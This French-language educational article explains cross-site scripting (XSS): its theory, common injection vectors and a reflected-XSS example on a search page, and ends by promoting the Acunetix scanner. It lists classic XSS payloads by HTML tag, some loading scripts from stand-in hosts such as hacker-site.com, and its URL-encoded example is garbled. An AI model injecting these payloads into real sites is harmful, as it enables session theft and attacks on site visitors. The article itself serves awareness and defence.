Sécurité web : Attaques DE TYPE XSSQu’est-ce que le “Cross Site Scripting” ?
aTTAQUES SUR LA COUCHE APPLICATIVE DU WEB

Les pirates expérimentent constamment un large éventail de nouvelles techniques de piratage afin de compromettre des sites Internet et des applications web pour faire main basse sur un trésor de données sensibles, telles que les numéros de cartes de crédit, les informations personnelles telles que numéros de sécurité sociale et même les dossiers médicaux des hôpitaux.

Le Cross Site Scripting (XSS également connu sous le nom de CSS) est généralement considéré comme l'une des techniques les plus courantes de piratage de la couche applicative du web.

Dans le schéma ci-dessous, produit par la base de données des incidents Web Hacking pour 2011 (WHID) montre clairement que, alors qu’il existe de nombreuses méthodes d'attaque différentes, l’injection SQL et XSS sont les plus populaires. Pour ajouter à cela, de nombreuses autres méthodes d'attaque, tels que les fuites d’informations, l’usurpation de contenu et d'authentification pourraient tous être des effets secondaires d'une attaque XSS.

WHID

 

 

En général, le cross-site scripting se réfère à la technique de piratage qui exploite les vulnérabilités dans le code d'une application web pour permettre à un attaquant d'envoyer du contenu malveillant à partir d'un utilisateur final et de recueillir un certain type de données de la victime.

Aujourd'hui, les sites s'appuient fortement sur des applications web complexes pour délivrer un contenu différent ou à une grande variété d'utilisateurs en fonction des préférences et des besoins spécifiques. Toute organisation digne de ce nom offre des services capables de fournir une meilleure valeur ajoutée à ses clients et prospects. Toutefois, les sites Web dynamiques souffrent parfois de sérieuses vulnérabilités qui rendent impuissantes toute les entreprises sujettes à ces attaques XSS contre leurs bases de données.

"Une page web contient à la fois du texte et des balises HTML qui sont générés par le serveur et interprété par le navigateur du client. Les sites Web qui génèrent uniquement les pages statiques sont en mesure d'avoir le plein contrôle sur la façon dont le navigateur interprète ces pages. Les sites Web qui génèrent des pages dynamiques n’ont pas un contrôle complet sur la façon dont leurs résultats sont interprétés par le client. Le cœur du problème est que si un contenu nuisible peut être introduit dans une page dynamique, ni le site ni le client dispose d'assez d'informations pour reconnaître ce qui s'est passé et prendre des mesures de protection. " (CERT Coordination Center).

Le Cross Site Scripting permet à un attaquant d'intégrer du JavaScript, VBScript, ActiveX, HTML ou Flash malveillants dans une page dynamique vulnérable pour tromper l'utilisateur, l'exécution du script sur sa machine afin de recueillir des données.
L'utilisation de XSS pourrait compromettre des informations privées, de manipuler ou voler des cookies, créer des requêtes qui peuvent être confondues avec celles d'un utilisateur valide, ou d'exécuter du code malveillant sur les systèmes des utilisateurs finaux. Les données sont généralement mises en forme comme un lien hypertexte contenant du code malveillant disponible sous diverses formes sur Internet.
Comme un outil de piratage, l'attaquant peut élaborer et diffuser une URL personnalisée, en CSS en utilisant un simple navigateur pour tester la réponse du site web dynamique. L'attaquant doit également maîtriser l’HTML, le JavaScript et un langage dynamique, afin de produire une URL qui n'est pas trop suspecte, afin d'attaquer un site web XSS vulnérable.

Une page web qui transmet les paramètres à une base de données peut être vulnérable à cette technique de piratage. Habituellement, ce sont les formes présentes dans les logins, Mot de passe, les formulaires, etc .

N.B. Souvent, les gens se réfèrent à Cross Site Scripting ou XSS comme CSS, à ne pas confondue avec des feuilles de style en cascade (CSS).

 

 

 

Théorie du XSS

Lors d'une attaque XSS typique, le pirate infecte une page Web légitime avec son malicieux script côté client. Lorsqu'un utilisateur visite la page Web du script est téléchargée sur son navigateur et exécutée. Il y a beaucoup de variantes sur les façons de procéder, mais toutes les attaques XSS suivent ce modèle, qui est représenté dans le schéma ci-dessous.

XSS

 

Comment le XSS fonctionne

En tant que développeur web que vous mettez en place des mesures pour assurer la première étape de l'attaque. Vous voulez éviter le pirate d'infecter votre page web saine avec son script malveillant. Il y a plusieurs façons de le faire, et cet article va vous fournir quelques détails techniques sur les méthodes les plus importantes que vous devez utiliser pour désactiver ce type de failles contre vos utilisateurs.

Les vecteurs d'attaque XSS
Alors, comment un hacker infecte en premier lieu votre page web?
On pourrait penser qu’il faille à un attaquant d'abord briser la sécurité du serveur Web pour pouvoir modifier votre page et pour être en mesure de télécharger et de modifier des fichiers sur ce serveur. Malheureusement pour vous une attaque XSS est beaucoup plus facile que cela.


Les applications Internet aujourd'hui ne sont pas des pages HTML statiques. Elles sont dynamiques et en constante évolution remplies de contenu de pages Web évolué fait pour extraire des données à partir de nombreuses sources différentes. Ces données sont fusionnées avec votre propre page Web et peut contenir du texte simple, ou des images, et peut également contenir des balises HTML telles que <p> paragraphe, <img> pour l'image et <script> pour les scripts. Plusieurs fois, le pirate va utiliser la fonction «commentaires» de votre page Web pour insérer un commentaire qui contient un script. Chaque utilisateur qui consulte ce commentaire va télécharger le script qui s'exécute sur son navigateur, ce qui provoque un comportement indésirable. Quelque chose d'aussi simple qu'un message sur votre mur Facebook peut contenir un script malveillant qui, si elle n'est pas filtrée par les serveurs de Facebook sera injecté dans votre propre mur afin d'exécuter le navigateur de chaque personne qui visite votre profil Facebook.

A présent, vous devez être conscient que tout type de données peut être déposé sur votre page Web à partir d'une source externe a le potentiel d'être infecté par un script malveillant, mais sous quelle forme les données proviennent?

<SCRIPT>

La balise <SCRIPT> est le moyen le plus populaire et le plus facile parfois à détecter. Il peut arriver à votre page sous les formes suivantes:

 

Script externe:

<SCRIPT SRC=http://hacker-site.com/xss.js> </ SCRIPT>

 

Script intégré:

<SCRIPT> Alerte ("XSS"); </ script>

<BODY>

Ces balises peuvent contenir un script incorporé en utilisant l'événement onload, comme indiqué ci-dessous:

<BODY ONLOAD=alert("XSS")>

L'attribut BACKGROUND peut être exploité:

<BODY BACKGROUND="javascript:alert('XSS')">

<IMG>

Certains navigateurs exécutent un script quand il est reconnu dans la balise <IMG> comme indiqué ici:

<IMG SRC="javascript:alert('XSS');">

Il existe quelques variantes de cela avec d’autres navigateurs:

<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>

La balise <IFRAME> vous permet d'importer HTML dans une page. Cette importante HTML peut contenir un script.

<IFRAME SRC="http://hacker-site.com/xss.html">

<INPUT>

Si l'attribut TYPE de la balise <INPUT> est réglé sur «IMAGE», il peut être manipulé à intégrer un script:

<input Type="image" SRC="javascript:alert('XSS');">

<LINK>

La balise <LINK>, qui est souvent utilisée pour relier des feuilles de style externes peuvent contenir un script:

<link Rel="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

L'attribut BACKGROUND de la balise TABLE peut être exploitée pour faire référence à un script au lieu d'une image:

<TABLE BACKGROUND="javascript:alert('XSS')">

La même chose s'applique à la balise <TD>, utilisé pour séparer les cellules à l'intérieur d'un tableau:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

La balise <DIV>, semblable aux balises <TABLE> et <TD> peuvent également spécifier un arrière-plan et donc intégrer un script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

L'attribut STYLE <DIV> peut également être manipulé de la façon suivante:

<div Style="width: expression(alert('XSS'));">

<OBJECT>

La balise <OBJECT> peut être utilisée pour tirer à partir d'un script dans une page externe, de la manière suivante:

<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">

<EMBED>

Si le pirate place un script malveillant dans un fichier flash, il peut être injecté de la manière suivante:

<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

Votre site est-il vulnérable au Cross Site Scripting?

Notre expérience nous amène à conclure que la vulnérabilité de type cross-site scripting est l'un des défauts les plus répandu sur Internet et se produit n'importe où lorsqu’une application Web utilise l'entrée d'un utilisateur dans la sortie qu'il génère sans la valider. Notre propre recherche montre que plus d'un tiers des organisations qui ont testé notre logiciel d'audit gratuit sont vulnérables à des failles de type Cross Site Scripting. Et la tendance est à la hausse.

 

Exemple d'une attaque de type Cross Site Scripting

Comme simple exemple, imaginons un moteur de recherche qui est ouvert à une attaque XSS. L'écran de recherche du moteur de recherche est un champ de formulaire unique et simple avec un bouton d'envoi. Alors que la page de résultats, affiche à la fois les résultats correspondants et le texte que vous recherchez.

Résultats de la recherche pour "Vulnérabilité XSS"

Pour être en mesure de marquer des pages, les moteurs de recherche laissent généralement les variables entrées dans l'adresse URL. Dans ce cas, l'URL ressemblera à:

20% http://test.searchengine.com/search.php?q=XSS Vulnérabilité

 

Ensuite, nous essayons d'envoyer la requête suivante pour le moteur de recherche:

<script type="text/javascript">
alert ('Ceci est une vulnérabilité XSS')
</ Script>

En soumettant la requête à search.php, il est codé et l'URL résultante serait quelque chose comme:

http://test.searchengine.com/search.php?q% =% 3 3Cscript

Ealert% 28% 20est% 91This% 20an%% 20Vulnerability 20XSS% 92% 2

9% 3E% 3C% 2Fscript

Lors du chargement de la page de résultats, le moteur de test devrait ne pas afficher les résultats de la recherche, mais il affiche un message d'alerte JavaScript qui a été injecté dans la page en utilisant la vulnérabilité XSS.

 

Comment vérifier Vulnérabilités Cross Site Scripting ?

Pour vérifier Vulnérabilités Cross Site Scripting, utilisez le scanner Acunetix Web Vulnerability.

Un Scanner de vulnérabilités web va procéder à l’exploration de votre site et vérifier automatiquement les vulnérabilités Cross Site Scripting. Il vous indiquera les URL/scripts vulnérables à ces attaques de sorte que vous pouvez facilement corriger la faille. Outre les vulnérabilités Cross Site Scripting un scanner d'applications Web permettra également de vérifier les vulnérabilités d'injection SQL et autres failles.